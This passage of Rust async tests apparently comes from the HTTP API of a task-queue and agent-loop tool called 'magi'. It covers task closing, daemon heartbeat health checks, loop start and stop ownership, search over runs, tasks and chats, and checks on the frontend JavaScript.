17803        queue.put(&mut task).expect("file the task");
17804        let _claim = queue.claim(&task.id).expect("stand in for the daemon");
17805
17806        let priority = f
17807            .post(
17808                &format!("/api/queue/{}/priority", task.id),
17809                Some(r#"{"priority":9}"#),
17810            )
17811            .await;
17812        assert_eq!(priority.status, 409, "{}", priority.body);
17813
17814        let edit = f
17815            .post(
17816                &format!("/api/queue/{}/edit", task.id),
17817                Some(r#"{"title":"x","instruction":"y"}"#),
17818            )
17819            .await;
17820        assert_eq!(edit.status, 409, "{}", edit.body);
17821    }
17822
17823    #[tokio::test]
17824    async fn done_from_the_phone_keeps_runs_source_and_created_at_unlike_delete() {
17825        let f = Fixture::start().await;
17826        let queue = f.queue();
17827        let mut task = Task::new(
17828            "shipped by hand".to_owned(),
17829            "merged outside the loop".to_owned(),
17830            PathBuf::from("/repo/magi"),
17831            Source::Agent {
17832                run: "20260101-000000-b455".to_owned(),
17833                node: "implement".to_owned(),
17834            },
17835        );
17836        task.runs.push("20260101-000000-b455".to_owned());
17837        task.runs.push("20260101-000000-9af4".to_owned());
17838        queue.put(&mut task).expect("file the task");
17839        let created_at = task.created_at;
17840
17841        let done = f.post(&format!("/api/queue/{}/done", task.id), None).await;
17842        assert_eq!(done.status, 200, "{}", done.body);
17843        assert_eq!(done.json()["status_str"], "done");
17844
17845        let reloaded = queue.get(&task.id).expect("a done task is still on disk");
17846        assert_eq!(
17847            reloaded.runs,
17848            ["20260101-000000-b455", "20260101-000000-9af4"]
17849        );
17850        assert_eq!(
17851            reloaded.source,
17852            Source::Agent {
17853                run: "20260101-000000-b455".to_owned(),
17854                node: "implement".to_owned(),
17855            }
17856        );
17857        assert_eq!(reloaded.created_at, created_at);
17858    }
17859
17860    #[tokio::test]
17861    async fn closing_a_held_task_as_done_from_the_phone_clears_its_hold_reason() {
17862        // `done` is allowed on any status, including `held`, with no release
17863        // in between - so a task held for a reason and then closed directly
17864        // must not keep reading as "waiting on" it afterwards, on its card or
17865        // in `magi task show`.
17866        let f = Fixture::start().await;
17867        let queue = f.queue();
17868        let mut task = Task::new(
17869            "landed while held".to_owned(),
17870            "x".to_owned(),
17871            PathBuf::from("/repo/magi"),
17872            Source::Human,
17873        );
17874        task.hold_manual(Some("waiting on 3ed9".to_owned()));
17875        queue.put(&mut task).expect("file the held task");
17876
17877        let done = f.post(&format!("/api/queue/{}/done", task.id), None).await;
17878        assert_eq!(done.status, 200, "{}", done.body);
17879        assert_eq!(done.json()["status_str"], "done");
17880        assert!(
17881            done.json()["hold_reason"].is_null(),
17882            "a done task cannot still be waiting on something: {}",
17883            done.body
17884        );
17885    }
17886
17887    #[tokio::test]
17888    async fn done_from_the_phone_supersedes_an_earlier_blocked_attempt() {
17889        // `queue_done` is the phone's way to close a task the loop never
17890        // settled itself - after confirming a manual GitHub merge, say - and
17891        // that is just as much "this task's story is over" as the loop's own
17892        // `Merged`/`Ready` path, so it must trigger the same cleanup.
17893        let f = Fixture::start().await;
17894        let queue = f.queue();
17895        let runs = f.runs();
17896        write_run(&runs, "20260101-000000-doa1", RunStatus::Blocked);
17897        // The last attempt has to have actually landed for the earlier one
17898        // to count as superseded - see `done_from_the_phone_does_not_supersede_when_the_last_attempt_never_landed`
17899        // for the case where it didn't.
17900        write_run(&runs, "20260101-000000-doa2", RunStatus::Merged);
17901
17902        let mut task = Task::new(
17903            "landed by hand".to_owned(),
17904            "x".to_owned(),
17905            PathBuf::from("/repo/magi"),
17906            Source::Human,
17907        );
17908        task.runs.push("20260101-000000-doa1".to_owned());
17909        task.runs.push("20260101-000000-doa2".to_owned());
17910        queue.put(&mut task).expect("file the task");
17911
17912        let done = f.post(&format!("/api/queue/{}/done", task.id), None).await;
17913        assert_eq!(done.status, 200, "{}", done.body);
17914
17915        let reloaded_run = read_run(&runs, "20260101-000000-doa1")
17916            .expect("run still on disk under this fixture's own home");
17917        assert_eq!(
17918            reloaded_run.status,
17919            RunStatus::Superseded,
17920            "closing the task by hand must relabel the earlier blocked attempt exactly \
17921             like the loop's own settle path does"
17922        );
17923    }
17924
17925    #[tokio::test]
17926    async fn done_from_the_phone_does_not_supersede_when_the_last_attempt_never_landed() {
17927        // Closing a task by hand is allowed from any status, including one
17928        // whose last recorded attempt is itself still `Blocked`/`Failed` - a
17929        // manual merge the loop never watched, say. Nothing here is provably
17930        // why the task is done, so nothing earlier gets relabelled either.
17931        let f = Fixture::start().await;
17932        let queue = f.queue();
17933        let runs = f.runs();
17934        write_run(&runs, "20260101-000000-dob1", RunStatus::Blocked);
17935        write_run(&runs, "20260101-000000-dob2", RunStatus::Failed);
17936
17937        let mut task = Task::new(
17938            "closed with nothing actually landed".to_owned(),
17939            "x".to_owned(),
17940            PathBuf::from("/repo/magi"),
17941            Source::Human,
17942        );
17943        task.runs.push("20260101-000000-dob1".to_owned());
17944        task.runs.push("20260101-000000-dob2".to_owned());
17945        queue.put(&mut task).expect("file the task");
17946
17947        let done = f.post(&format!("/api/queue/{}/done", task.id), None).await;
17948        assert_eq!(done.status, 200, "{}", done.body);
17949
17950        let reloaded_run = read_run(&runs, "20260101-000000-dob1")
17951            .expect("run still on disk under this fixture's own home");
17952        assert_eq!(
17953            reloaded_run.status,
17954            RunStatus::Blocked,
17955            "the last recorded attempt never landed, so the earlier one must not be \
17956             relabelled as superseded by it"
17957        );
17958    }
17959
17960    #[tokio::test]
17961    async fn unknown_ids_are_json_not_found_on_both_stores() {
17962        let f = Fixture::start().await;
17963
17964        let run = f.get("/api/runs/nosuchrun").await;
17965        let task = f.post("/api/queue/nosuchtask/hold", None).await;
17966
17967        assert_eq!(run.status, 404);
17968        assert_eq!(task.status, 404);
17969        assert!(
17970            run.json()["error"]
17971                .as_str()
17972                .is_some_and(|e| e.contains("run")),
17973            "the error names what was not found: {}",
17974            run.body
17975        );
17976        assert!(
17977            task.json()["error"]
17978                .as_str()
17979                .is_some_and(|e| e.contains("task")),
17980            "the error names what was not found: {}",
17981            task.body
17982        );
17983    }
17984
17985    #[tokio::test]
17986    async fn the_daemon_counts_as_running_only_while_its_heartbeat_is_fresh() {
17987        let f = Fixture::start().await;
17988
17989        let missing = f.get("/api/health").await.json();
17990        assert_eq!(missing["daemon"]["running"], false, "no file, no daemon");
17991
17992        write_daemon(
17993            f.home.path(),
17994            Timestamp::now() - jiff::SignedDuration::from_secs(60),
17995        );
17996        let stale = f.get("/api/health").await.json();
17997        assert_eq!(
17998            stale["daemon"]["running"], false,
17999            "a minute without a heartbeat is a dead daemon, not a busy one"
18000        );
18001        assert!(
18002            stale["daemon"]["stale_for_secs"]
18003                .as_i64()
18004                .is_some_and(|s| s >= 55),
18005            "staleness is reported so the UI can say how long: {stale}"
18006        );
18007
18008        write_daemon(f.home.path(), Timestamp::now());
18009        let fresh = f.get("/api/health").await.json();
18010        assert_eq!(fresh["daemon"]["running"], true);
18011        assert_eq!(fresh["daemon"]["idle"], false);
18012        assert_eq!(fresh["daemon"]["pid"], 4242);
18013        assert_eq!(fresh["daemon"]["completed"], 7);
18014        assert_eq!(
18015            fresh["daemon"]["current"][0]["task"],
18016            "20260902-140501-aaaa"
18017        );
18018        assert_eq!(fresh["version"], env!("CARGO_PKG_VERSION"));
18019    }
18020
18021    #[tokio::test]
18022    async fn the_loop_is_not_running_until_something_starts_it() {
18023        let f = Fixture::start().await;
18024
18025        let view = f.get("/api/loop").await.json();
18026        assert_eq!(view["running"], false);
18027        assert_eq!(
18028            view["owned"], false,
18029            "nobody owns a loop that does not exist: {view}"
18030        );
18031        assert_eq!(view["stopping"], false);
18032        assert_eq!(view["last_error"], Value::Null);
18033        assert_eq!(view["daemon"]["running"], false);
18034        assert_eq!(
18035            view["repo"], "/repo/magi",
18036            "the repository a start would use, named before it is started"
18037        );
18038    }
18039
18040    #[tokio::test]
18041    async fn starting_the_loop_runs_it_in_this_process_and_health_says_the_same() {
18042        let f = Fixture::start().await;
18043
18044        let res = f.post("/api/loop", Some(r#"{"running":true}"#)).await;
18045        assert_eq!(res.status, 200, "{}", res.body);
18046        let view = res.json();
18047        assert_eq!(view["running"], true);
18048        assert_eq!(
18049            view["owned"], true,
18050            "the loop the UI started is the UI's own to stop: {view}"
18051        );
18052        assert_eq!(
18053            view["merge"],
18054            Value::Null,
18055            "no override was given, so each repository's own config decides"
18056        );
18057
18058        // The same object from the route a waking phone polls first. Two
18059        // surfaces disagreeing about whether anything is running is exactly
18060        // the confusion this UI exists to remove.
18061        let health = f.get("/api/health").await.json();
18062        assert_eq!(health["loop"]["running"], true, "{health}");
18063        assert_eq!(health["loop"]["owned"], true, "{health}");
18064
18065        f.post("/api/loop", Some(r#"{"running":false}"#)).await;
18066    }
18067
18068    #[tokio::test]
18069    async fn a_second_start_is_refused_rather_than_racing_the_first_for_claims() {
18070        let f = Fixture::start().await;
18071        let first = f.post("/api/loop", Some(r#"{"running":true}"#)).await;
18072        assert_eq!(first.status, 200, "{}", first.body);
18073
18074        let again = f.post("/api/loop", Some(r#"{"running":true}"#)).await;
18075        assert_eq!(
18076            again.status, 409,
18077            "two loops on one queue race for the same claims: {}",
18078            again.body
18079        );
18080        assert!(
18081            again.json()["error"]
18082                .as_str()
18083                .is_some_and(|e| e.contains("already running the loop")),
18084            "the refusal has to say why: {}",
18085            again.body
18086        );
18087        assert_eq!(
18088            f.get("/api/loop").await.json()["running"],
18089            true,
18090            "and the loop that was already running is untouched by it"
18091        );
18092
18093        f.post("/api/loop", Some(r#"{"running":false}"#)).await;
18094    }
18095
18096    #[tokio::test]
18097    async fn stopping_answers_at_once_and_the_loop_settles_stopped() {
18098        let f = Fixture::start().await;
18099        f.post("/api/loop", Some(r#"{"running":true}"#)).await;
18100
18101        let res = f.post("/api/loop", Some(r#"{"running":false}"#)).await;
18102        assert_eq!(
18103            res.status, 200,
18104            "the answer must not wait for the loop: a run in flight is tens of \
18105             minutes and the operator is holding a phone: {}",
18106            res.body
18107        );
18108
18109        let view = settled(&f, |v| v["running"] == false).await;
18110        assert_eq!(view["owned"], false);
18111        assert_eq!(
18112            view["stopping"], false,
18113            "a loop that has stopped is not still stopping: {view}"
18114        );
18115        assert_eq!(
18116            view["last_error"],
18117            Value::Null,
18118            "a loop that was asked to stop did not fail: {view}"
18119        );
18120
18121        // Idempotent, because the operator cannot tell a slow stop from a lost
18122        // one and will press it again.
18123        let twice = f.post("/api/loop", Some(r#"{"running":false}"#)).await;
18124        assert_eq!(twice.status, 200, "{}", twice.body);
18125    }
18126
18127    #[tokio::test]
18128    async fn a_loop_another_process_owns_can_be_neither_started_nor_stopped_here() {
18129        let f = Fixture::start().await;
18130        // How the operator has been doing it: a `magi serve` of their own,
18131        // heartbeat fresh, in the same home this UI reads.
18132        write_daemon(f.home.path(), Timestamp::now());
18133
18134        let view = f.get("/api/loop").await.json();
18135        assert_eq!(view["running"], false, "not in this process: {view}");
18136        assert_eq!(view["owned"], false, "and not this process's to control");
18137        assert_eq!(
18138            view["daemon"]["running"], true,
18139            "but a loop is alive somewhere, which is what the UI must say"
18140        );
18141        assert_eq!(view["daemon"]["pid"], 4242);
18142
18143        for body in [r#"{"running":true}"#, r#"{"running":false}"#] {
18144            let res = f.post("/api/loop", Some(body)).await;
18145            assert_eq!(
18146                res.status, 409,
18147                "neither button may pretend to work on someone else's loop: {}",
18148                res.body
18149            );
18150            assert!(
18151                res.json()["error"]
18152                    .as_str()
18153                    .is_some_and(|e| e.contains("4242")),
18154                "the refusal has to name the process the operator must go to: {}",
18155                res.body
18156            );
18157        }
18158        assert_eq!(
18159            f.get("/api/loop").await.json()["running"],
18160            false,
18161            "and the refusal started nothing"
18162        );
18163    }
18164
18165    #[tokio::test]
18166    async fn a_stale_status_file_is_not_a_foreign_owner() {
18167        let f = Fixture::start().await;
18168        write_daemon(
18169            f.home.path(),
18170            Timestamp::now() - jiff::SignedDuration::from_secs(60),
18171        );
18172
18173        let res = f.post("/api/loop", Some(r#"{"running":true}"#)).await;
18174        assert_eq!(
18175            res.status, 200,
18176            "a daemon killed a minute ago must not lock the loop out of its \
18177             own home for good: {}",
18178            res.body
18179        );
18180        assert_eq!(res.json()["running"], true);
18181
18182        f.post("/api/loop", Some(r#"{"running":false}"#)).await;
18183    }
18184
18185    #[tokio::test]
18186    async fn loop_rev_moves_on_a_start_so_a_phone_learns_without_polling() {
18187        let f = Fixture::start().await;
18188        let before = f.get("/api/health").await.json()["loop_rev"]
18189            .as_u64()
18190            .expect("a loop revision");
18191
18192        f.post("/api/loop", Some(r#"{"running":true}"#)).await;
18193
18194        let after = f.get("/api/health").await.json()["loop_rev"]
18195            .as_u64()
18196            .expect("a loop revision");
18197        assert!(
18198            after > before,
18199            "the loop is in-process state, so this counter is the only thing \
18200             that tells a second device the first one started it: {before} -> \
18201             {after}"
18202        );
18203
18204        f.post("/api/loop", Some(r#"{"running":false}"#)).await;
18205    }
18206
18207    #[tokio::test]
18208    async fn a_loop_that_failed_says_why_and_does_not_read_as_running() {
18209        let f = Fixture::with_loop(launch_broken).await;
18210
18211        let res = f.post("/api/loop", Some(r#"{"running":true}"#)).await;
18212        assert_eq!(
18213            res.status, 200,
18214            "starting it is not the failure: {}",
18215            res.body
18216        );
18217
18218        let view = settled(&f, |v| v["last_error"].is_string()).await;
18219        assert_eq!(
18220            view["running"], false,
18221            "a loop that died must not read as running, or the operator has \
18222             nothing to press: {view}"
18223        );
18224        assert_eq!(view["owned"], false);
18225        assert!(
18226            view["last_error"]
18227                .as_str()
18228                .is_some_and(|e| e.contains("read-only file system")),
18229            "the phone is where a loop that died at 3am is visible: {view}"
18230        );
18231
18232        // And it can be started again: the corpse was reaped, not left to
18233        // occupy the slot.
18234        let again = f.post("/api/loop", Some(r#"{"running":true}"#)).await;
18235        assert_eq!(again.status, 200, "{}", again.body);
18236        assert!(
18237            again.json()["last_error"]
18238                .as_str()
18239                .is_none_or(|e| !e.contains("read-only file system")),
18240            "a fresh start does not keep showing why the last one died: {}",
18241            again.body
18242        );
18243    }
18244
18245    #[tokio::test]
18246    async fn a_newer_daemon_status_file_still_renders() {
18247        let f = Fixture::start().await;
18248        // A field this build has never heard of must not turn the status line
18249        // into a 500; that is the whole reason the reader is permissive.
18250        std::fs::write(
18251            f.home.path().join("daemon.json"),
18252            serde_json::json!({
18253                "schema": 2,
18254                "updated_at": Timestamp::now().to_string(),
18255                "idle": true,
18256                "surprise": { "nested": [1, 2, 3] },
18257            })
18258            .to_string(),
18259        )
18260        .expect("write daemon.json");
18261
18262        let health = f.get("/api/health").await;
18263
18264        assert_eq!(health.status, 200);
18265        assert_eq!(health.json()["daemon"]["running"], true);
18266    }
18267
18268    #[tokio::test]
18269    async fn a_corrupt_run_is_skipped_in_the_list_and_explained_on_its_own_route() {
18270        let f = Fixture::start().await;
18271        write_run(&f.runs(), "20260902-140501-good", RunStatus::Ready);
18272        let broken = f.runs().join("20260902-140502-bad");
18273        std::fs::create_dir_all(&broken).expect("run dir");
18274        std::fs::write(broken.join("run.json"), "{ truncated").expect("write run.json");
18275
18276        let list = f.get("/api/runs").await;
18277        let detail = f.get("/api/runs/20260902-140502-bad").await;
18278
18279        assert_eq!(list.status, 200);
18280        let listed = list.json();
18281        let ids: Vec<&str> = listed
18282            .as_array()
18283            .expect("an array")
18284            .iter()
18285            .map(|r| r["id"].as_str().expect("an id"))
18286            .collect();
18287        assert_eq!(
18288            ids,
18289            vec!["20260902-140501-good"],
18290            "one unreadable run must not cost the operator the whole history"
18291        );
18292        assert_eq!(detail.status, 500);
18293        assert!(
18294            detail.json()["error"]
18295                .as_str()
18296                .is_some_and(|e| e.contains("run.json")),
18297            "the failure names the file to look at: {}",
18298            detail.body
18299        );
18300        // A skipped run has to be countable somewhere, or the UI shows an
18301        // empty history with nothing to explain it - which is exactly what a
18302        // directory full of older-schema runs looks like.
18303        let health = f.get("/api/health").await;
18304        assert_eq!(health.json()["runs_unreadable"], 1);
18305    }
18306
18307    /// Search matches nested run text, ANDs its terms and counts unreadable runs.
18308    #[tokio::test]
18309    async fn search_finds_nested_run_text_ands_terms_and_counts_unreadable() {
18310        let f = Fixture::start().await;
18311        let runs = f.runs();
18312        write_run(&runs, "20260902-140501-aaaa", RunStatus::Merged);
18313        write_run(&runs, "20260902-140502-bbbb", RunStatus::Merged);
18314        // Text three levels down, in a shape no current RunState has: an older
18315        // schema must still search.
18316        let path = runs.join("20260902-140502-bbbb").join("run.json");
18317        let mut v: serde_json::Value =
18318            serde_json::from_str(&std::fs::read_to_string(&path).unwrap()).unwrap();
18319        v["legacy"] = serde_json::json!({ "rounds": [{ "finding": { "text": "The Quokka leaks\nacross threads" } }] });
18320        std::fs::write(&path, v.to_string()).unwrap();
18321        std::fs::create_dir_all(runs.join("20260902-140503-cccc")).unwrap();
18322        std::fs::write(
18323            runs.join("20260902-140503-cccc").join("run.json"),
18324            "{ not json",
18325        )
18326        .unwrap();
18327
18328        let res = f.get("/api/search?scope=runs&q=quokka").await;
18329        assert_eq!(res.status, 200, "{}", res.body);
18330        let v = res.json();
18331        assert_eq!(v["total"], 1, "{v}");
18332        assert_eq!(v["hits"][0]["id"], "20260902-140502-bbbb");
18333        assert_eq!(v["hits"][0]["field"], "text");
18334        assert_eq!(v["unreadable"], 1, "an unparsable run is counted: {v}");
18335        let parts = v["hits"][0]["snippet"].as_array().unwrap();
18336        assert!(
18337            parts
18338                .iter()
18339                .any(|p| p["hit"] == true && p["text"] == "Quokka"),
18340            "{v}"
18341        );
18342        let flat: String = parts.iter().map(|p| p["text"].as_str().unwrap()).collect();
18343        assert_eq!(
18344            flat, "The Quokka leaks across threads",
18345            "whitespace is collapsed"
18346        );
18347
18348        // Terms are ANDed, across different fields, case-insensitively.
18349        let both = f
18350            .get("/api/search?scope=runs&q=MOBILE%20quokka")
18351            .await
18352            .json();
18353        assert_eq!(both["total"], 1, "{both}");
18354        let neither = f
18355            .get("/api/search?scope=runs&q=quokka%20zebra")
18356            .await
18357            .json();
18358        assert_eq!(neither["total"], 0, "{neither}");
18359        // Everything in the task statement is reachable, not only the row text.
18360        let stmt = f
18361            .get("/api/search?scope=runs&q=mobile%20first")
18362            .await
18363            .json();
18364        assert_eq!(stmt["total"], 2, "{stmt}");
18365        let by_id = f.get("/api/search?scope=runs&q=140501-aaaa").await.json();
18366        assert_eq!(by_id["hits"][0]["id"], "20260902-140501-aaaa", "{by_id}");
18367    }
18368
18369    #[test]
18370    fn snippet_ignores_terms_longer_than_the_field() {
18371        let terms = ["ok".to_owned(), "elephant".to_owned()];
18372        let parts = snippet_of("ok", &terms);
18373        assert_eq!(
18374            parts,
18375            vec![SnippetPart {
18376                text: "ok".to_owned(),
18377                hit: true
18378            }]
18379        );
18380    }
18381
18382    #[test]
18383    fn snippet_marks_matches_longer_than_the_window() {
18384        let cap = SNIPPET_BEFORE + SNIPPET_AFTER + 2;
18385        let hit_len = |parts: &[SnippetPart]| -> usize {
18386            parts
18387                .iter()
18388                .filter(|p| p.hit)
18389                .map(|p| p.text.chars().count())
18390                .sum()
18391        };
18392        let total =
18393            |parts: &[SnippetPart]| -> usize { parts.iter().map(|p| p.text.chars().count()).sum() };
18394
18395        let long = "a".repeat(120);
18396        let parts = snippet_of(&long, std::slice::from_ref(&long));
18397        assert!(hit_len(&parts) > 0, "{parts:?}");
18398        assert!(total(&parts) <= cap);
18399
18400        let ja = "あ".repeat(130);
18401        let parts = snippet_of(&ja, std::slice::from_ref(&ja));
18402        assert!(hit_len(&parts) > 0, "{parts:?}");
18403        assert!(total(&parts) <= cap);
18404
18405        // A short hit, then one straddling the window's end.
18406        let text = format!("ab {} ab{}", "x".repeat(90), "c".repeat(100));
18407        let term = format!("ab{}", "c".repeat(100));
18408        let parts = snippet_of(&text, &["ab ".to_owned(), term]);
18409        assert!(parts.iter().filter(|p| p.hit).count() >= 2, "{parts:?}");
18410        assert!(total(&parts) <= cap);
18411
18412        // Only the head matches: not highlighted.
18413        let text = format!("{}z", "a".repeat(119));
18414        let parts = snippet_of(&text, &["a".repeat(120)]);
18415        assert_eq!(hit_len(&parts), 0, "{parts:?}");
18416    }
18417
18418    #[tokio::test]
18419    async fn search_caps_hits_and_snippet_length() {
18420        let f = Fixture::start().await;
18421        let runs = f.runs();
18422        for n in 0..(SEARCH_MAX_HITS + 5) {
18423            write_run(&runs, &format!("20260902-140501-{n:04}"), RunStatus::Merged);
18424        }
18425        let v = f.get("/api/search?scope=runs&q=web").await.json();
18426        assert_eq!(v["hits"].as_array().unwrap().len(), SEARCH_MAX_HITS);
18427        assert_eq!(v["total"], SEARCH_MAX_HITS + 5);
18428        assert_eq!(v["truncated"], true);
18429        // Every listed run hit carries its list row for the page's filters.
18430        assert!(
18431            v["hits"]
18432                .as_array()
18433                .unwrap()
18434                .iter()
18435                .all(|h| h["run"]["status"] == "merged")
18436        );
18437
18438        let long = format!("{}needle{}", "x".repeat(5000), "y".repeat(5000));
18439        let parts = snippet_of(&long, &["needle".to_owned()]);
18440        let len: usize = parts.iter().map(|p| p.text.chars().count()).sum();
18441        assert!(len <= SNIPPET_BEFORE + SNIPPET_AFTER + 2, "{len}");
18442        assert!(parts.iter().any(|p| p.hit && p.text == "needle"));
18443    }
18444
18445    #[tokio::test]
18446    async fn search_tasks_reads_every_field_and_rejects_bad_requests() {
18447        let f = Fixture::start().await;
18448        let queue = f.queue();
18449        let mut t = Task::new(
18450            "short title".to_owned(),
18451            "line one\nthe hidden Armadillo detail".to_owned(),
18452            PathBuf::from("/repo/magi"),
18453            Source::Agent {
18454                run: "r1".to_owned(),
18455                node: "chat".to_owned(),
18456            },
18457        );
18458        t.last_error = Some("disk full on /tmp".to_owned());
18459        queue.put(&mut t).expect("file the task");
18460
18461        for (q, want) in [
18462            ("armadillo", 1),
18463            ("disk%20FULL", 1),
18464            ("chat", 1),
18465            ("queued", 1),
18466            ("short%20nothing", 0),
18467        ] {
18468            let v = f
18469                .get(&format!("/api/search?scope=tasks&q={q}"))
18470                .await
18471                .json();
18472            assert_eq!(v["total"], want, "{q}: {v}");
18473        }
18474        for bad in [
18475            "/api/search?scope=tasks&q=",
18476            "/api/search?scope=tasks&q=%20",
18477            "/api/search?scope=chats&q=",
18478            "/api/search?scope=chats&q=%20",
18479            "/api/search?scope=nope&q=a",
18480            "/api/search?q=a",
18481        ] {
18482            assert_eq!(f.get(bad).await.status, 400, "{bad}");
18483        }
18484    }
18485
18486    /// Write one conversation file the way the store reads it back.
18487    fn write_talk(f: &Fixture, id: &str, status: &str, turns: &[(&str, &str)]) {
18488        let seat = serde_json::to_value(crate::agent::SeatState::new("talk", "claude", 1))
18489            .expect("seat value");
18490        let turns: Vec<serde_json::Value> = turns
18491            .iter()
18492            .map(|(who, body)| {
18493                serde_json::json!({"who": who, "body": body, "at": "2026-09-01T00:00:00Z"})
18494            })
18495            .collect();
18496        let doc = serde_json::json!({
18497            "schema": 1, "id": id, "repo": "/SecretRepoPath", "agent": "claude-agent",
18498            "status": status, "turns": turns,
18499            "created_at": "2026-09-01T00:00:00Z", "updated_at": "2026-09-01T00:00:00Z",
18500            "seat": seat,
18501        });
18502        let dir = f.home.path().join("talks");
18503        std::fs::create_dir_all(&dir).expect("talks dir");
18504        std::fs::write(dir.join(format!("{id}.json")), doc.to_string()).expect("write talk");
18505    }
18506
18507    #[test]
18508    fn chat_search_prefers_the_saved_title_and_keeps_the_transcript() {
18509        let mut talk: Talk = serde_json::from_value(serde_json::json!({
18510            "schema": 1, "id": "20260908-205806-ab12", "repo": ".", "agent": "test",
18511            "status": "open", "turns": [{"who":"operator", "body":"古い話題", "at":"2026-09-08T20:58:02Z"}],
18512            "created_at": "2026-09-08T20:58:02Z", "updated_at": "2026-09-08T20:58:02Z",
18513            "seat": crate::agent::SeatState::new("talk", "test", 1)
18514        })).unwrap();
18515        assert_eq!(talk_search_doc(&talk)["title"], "古い話題");
18516        talk.title = Some(talk::ChatTitle {
18517            text: "最近の話題".into(),
18518            source: talk::TitleSource::Generated,
18519        });
18520        let doc = talk_search_doc(&talk);
18521        assert_eq!(doc["title"], "最近の話題");
18522        assert_eq!(doc["turns"][0]["operator"], "古い話題");
18523        talk.title.as_mut().unwrap().source = talk::TitleSource::Manual;
18524        assert_eq!(talk_search_doc(&talk)["title"], "最近の話題");
18525    }
18526
18527    #[tokio::test]
18528    async fn search_chats_reads_title_and_turns_and_counts_unreadable() {
18529        let f = Fixture::start().await;
18530        write_talk(
18531            &f,
18532            "20260901-000001-aaaa",
18533            "open",
18534            &[
18535                (
18536                    "operator",
18537                    "\n  Why does the Pangolin cache expire?\nsecond line",
18538                ),
18539                ("agent", "Because the TTL is thirty seconds."),
18540            ],
18541        );
18542        write_talk(
18543            &f,
18544            "20260901-000002-bbbb",
18545            "closed",
18546            &[("operator", "unrelated"), ("agent", "The Zebra moved on.")],
18547        );
18548        std::fs::write(f.home.path().join("talks/broken.json"), "{ nope").expect("broken");
18549
18550        let search = |q: &'static str| {
18551            let f = &f;
18552            async move {
18553                f.get(&format!("/api/search?scope=chats&q={q}"))
18554                    .await
18555                    .json()
18556            }
18557        };
18558
18559        let v = search("PANGOLIN").await;
18560        assert_eq!(v["scope"], "chats");
18561        assert_eq!(v["total"], 1, "{v}");
18562        assert_eq!(v["hits"][0]["id"], "20260901-000001-aaaa");
18563        assert_eq!(v["hits"][0]["field"], "title");
18564        assert_eq!(v["unreadable"], 1, "{v}");
18565        let marked: Vec<&str> = v["hits"][0]["snippet"]
18566            .as_array()
18567            .unwrap()
18568            .iter()
18569            .filter(|p| p["hit"] == true)
18570            .map(|p| p["text"].as_str().unwrap())
18571            .collect();
18572        assert_eq!(marked, ["Pangolin"]);
18573
18574        // An agent turn, in a closed conversation.
18575        let v = search("zebra").await;
18576        assert_eq!(v["total"], 1, "{v}");
18577        assert_eq!(v["hits"][0]["field"], "agent");
18578        // Words may sit in different turns; all must be present.
18579        assert_eq!(search("pangolin%20thirty").await["total"], 1);
18580        assert_eq!(search("pangolin%20zebra").await["total"], 0);
18581        // Bookkeeping is not searched.
18582        for q in ["claude-agent", "SecretRepoPath", "open", "closed"] {
18583            assert_eq!(search(q).await["total"], 0, "{q}");
18584        }
18585        // The first line only is the title; the second line is still a turn.
18586        assert_eq!(search("second").await["hits"][0]["field"], "operator");
18587        // Open conversations are listed before closed ones.
18588        assert_eq!(search("the").await["hits"][0]["id"], "20260901-000001-aaaa");
18589
18590        let v = f.get("/api/search?scope=nope&q=a").await;
18591        assert_eq!(v.status, 400);
18592        assert!(
18593            v.body.contains("scope must be runs, tasks or chats"),
18594            "{}",
18595            v.body
18596        );
18597    }
18598
18599    #[test]
18600    fn a_question_card_links_a_task_id_to_the_task_page() {
18601        let start = APP_JS
18602            .find("function updateAskCard(")
18603            .expect("updateAskCard exists");
18604        let body = &APP_JS[start..];
18605        let body = &body[..body.find("\n}\n").expect("function end")];
18606        assert!(body.contains("question.run_is_task"));
18607        assert!(body.contains("`#/tasks/${encodeURIComponent(question.run)}`"));
18608        assert!(body.contains("`#/runs/${question.run}`"));
18609        assert!(body.contains("\"task\" : \"run\""));
18610    }
18611
18612    #[test]
18613    fn plain_text_message_surfaces_go_through_linkify() {
18614        assert!(APP_JS.contains("function linkify("));
18615        assert!(!APP_JS.contains("class: \"event-msg\", text:"));
18616        assert!(!APP_JS.contains("class: \"notice-msg\", text:"));
18617        assert!(APP_JS.contains("linkify(el(\"span\", { class: \"event-msg\" })"));
18618        assert!(APP_JS.contains("linkify(el(\"div\", { class: \"notice-msg\" })"));
18619        assert!(!APP_JS.contains("innerHTML = text"));
18620    }
18621
18622    #[test]
18623    fn implementation_rate_views_keep_independent_samples() {
18624        for (competitive_n, solo_n) in [(0, 0), (9, 10), (10, 9)] {
18625            let a = stats::AgentStats {
18626                competitive_entered: competitive_n,
18627                competitive_wins: usize::from(competitive_n > 0),
18628                solo_entered: solo_n,
18629                solo_adopted: 2 * usize::from(solo_n > 0),
18630                ..Default::default()
18631            };
18632            let v = serde_json::to_value(AgentStatsView::from(&a)).unwrap();
18633            for (key, n, numerator) in [
18634                ("competitive_win_rate", competitive_n, a.competitive_wins),
18635                ("solo_adoption_rate", solo_n, a.solo_adopted),
18636            ] {
18637                if n == 0 {
18638                    assert!(v[key].is_null());
18639                } else {
18640                    assert_eq!(v[key]["denominator"], n);
18641                    assert_eq!(v[key]["pct"], 100.0 * numerator as f64 / n as f64);
18642                }
18643            }
18644        }
18645        assert!(APP_JS.contains("rate: a.competitive_win_rate"));
18646        assert!(APP_JS.contains("rate: a.solo_adoption_rate"));
18647        assert!(APP_JS.contains("r.rate.denominator < STATS_LOW_N"));
18648        assert!(APP_JS.contains("const STATS_LOW_N = 10;"));
18649    }
18650
18651    #[test]
18652    fn stats_bars_share_one_id_keyed_plan() {
18653        let start = APP_JS
18654            .find("function statsBarRows(")
18655            .expect("statsBarRows exists");
18656        let body = &APP_JS[start..];
18657        let body = &body[..body.find("\n}\n").expect("function end")];
18658        assert!(body.contains("statsBarPlan(rows)"));
18659        assert!(body.contains("statsAgentTone(row.agent)"));
18660        assert!(!body.contains("candTone(i)"));
18661        assert!(APP_JS.contains("const STATS_LOW_N = 10;"));
18662        for root in [
18663            "stats-agents-bars",
18664            "stats-solo-bars",
18665            "stats-reviewers-bars",
18666        ] {
18667            assert!(APP_JS.contains(&format!("statsBarRows($(\"{root}\")")));
18668        }
18669    }
18670
18671    #[test]
18672    fn the_precision_scatter_is_a_pure_plan_in_the_agents_colour() {
18673        let start = APP_JS
18674            .find("function renderStatsReviewerScatter(")
18675            .expect("renderStatsReviewerScatter exists");
18676        let body = &APP_JS[start..];
18677        let body = &body[..body.find("\n}\n").expect("function end")];
18678        assert!(body.contains("statsScatterPlan(reviewers)"));
18679        assert!(body.contains("statsAgentTone(d.agent)"));
